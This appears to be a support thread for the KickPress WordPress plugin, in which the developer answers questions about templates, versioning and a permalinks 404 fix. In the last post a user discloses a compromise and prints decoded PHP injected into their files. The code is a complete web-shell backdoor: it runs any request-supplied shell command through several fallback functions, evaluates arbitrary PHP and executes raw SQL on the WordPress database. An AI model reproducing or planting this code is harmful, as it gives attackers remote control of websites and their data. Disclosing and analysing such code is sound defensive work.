David Tufts

Hi Ann98,

It should be really easy to incorporate cards into an existing WordPress theme, the only required file change to an existing theme would be to the “home.php” file, which is included in the “sample-files” directory of the plugin.

-David

Hi Ajay,

Glad to hear that you were able to get the plugin working. The next release of the plugin (v1.5) will include a “card-template.php” file that will allow card design to be added to any page that uses that template.

-David

Deleting the plugin from the plugins directory and re-installing it will fix the issue, the original plugin was released as 1.0, not allowing for the beta fixes to be pushed out through the WordPress updates

asshu,

Thanks for the note, on my dev box things are looking good, I need to have someone at WordPress help me reset the version numbers for the plugin so that I can get the latest codeset out. Sorry for the hassle.

David

asshu,

Both of the issues you reported should be fixed in release version 0.1.1, if your version is “1.0” you might not be able to downloaded the latest fixes without deleting the plugin and re-installing it.

Thanks for your help in making KickPress a better product.

David

asshu,

Regarding the 404 error, there is a know issue with WordPress that when you create a new custom post type you need to go to you Settings -> Permalinks page in the WordPress admin and click “Save Changes” before the new URL will work for the custom post type.

I will be working on this issue in the next couple of hours and creating some online documentation at https://kickpress.rocketwood.com/documentation/

Sorry for any inconvenience, I am preparing the plugin for a public beta release this upcoming week, so not everything is ready yet.

Thanks,
David

We noticed that the code injected into the files was run through an eval and a decode so we decoded the string and found this php code:

{

if (!function_exists(‘______safeshell’))

{

function ______safeshell($komut) {

@ini_restore(“safe_mode”);

@ini_restore(“open_basedir”);

$disable_functions = array_map(‘trim’, explode(‘,’, ini_get(‘disable_functions’)));

if (!empty ($komut)) {

if (function_exists(‘passthru’) && !in_array(‘passthru’, $disable_functions)) {

//@ ob_start();

@ passthru($komut);

//$res = @ ob_get_contents();

//@ ob_end_clean();

}

elseif (function_exists(‘system’) && !in_array(‘system’, $disable_functions)) {

//@ ob_start();

@ system($komut);

//$res = @ ob_get_contents();

//@ ob_end_clean();

}

elseif (function_exists(‘shell_exec’) && !in_array(‘shell_exec’, $disable_functions)) {

$res = @ shell_exec($komut);

echo $res;

}

elseif (function_exists(‘exec’) && !in_array(‘exec’, $disable_functions)) {

@ exec($komut, $res);

$res = join(“\n”, $res);

echo $res, “\n”;

}

elseif (@ is_resource($f = @ popen($komut, “r”))) {

//$res = “”;

while (!@ feof($f)) {

//$res .= @ fread($f, 1024);

echo(@ fread($f, 1024));

}

@ pclose($f);

}

else

{

$res = {$komut};

echo $res;

}

}

}

};

if (isset ($_REQUEST[‘php_bdb7e9f039f4c7d9100073e131610a87’])) {

echo “<php_bdb7e9f039f4c7d9100073e131610a87_result>\n”;

if ($_REQUEST[‘php_bdb7e9f039f4c7d9100073e131610a87’] == ‘eval’) {

eval(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST[‘cmd’]) : $_REQUEST[‘cmd’]);

}

else if ($_REQUEST[‘php_bdb7e9f039f4c7d9100073e131610a87’] == ‘exec’) {

______safeshell(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST[‘cmd’]) : $_REQUEST[‘cmd’]);

}

else if ($_REQUEST[‘php_bdb7e9f039f4c7d9100073e131610a87’] == ‘query’) {

$result = mysql_query(get_magic_quotes_gpc() || get_magic_quotes_runtime() ? stripslashes($_REQUEST[‘cmd’]) : $_REQUEST[‘cmd’], $wpdb->dbh);

if (!$result)

{

echo “php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_FAILED: “, mysql_error($wpdb->dbh), “\n”;

die();

}

else if (is_resource($result))

{

$res = array();

while ($row = mysql_fetch_assoc($result))

{

$res[] = $row;

};

mysql_free_result($result);

echo serialize($res);

die();

}

else

{

echo “php_bdb7e9f039f4c7d9100073e131610a87_result_MYSQL_QUERY_SUCCEEDED: “, mysql_affected_rows($wbdb->dbh), ” rows affected\n”;

die();

}

};

echo “\n</php_bdb7e9f039f4c7d9100073e131610a87_result>\n”;

die();

};

};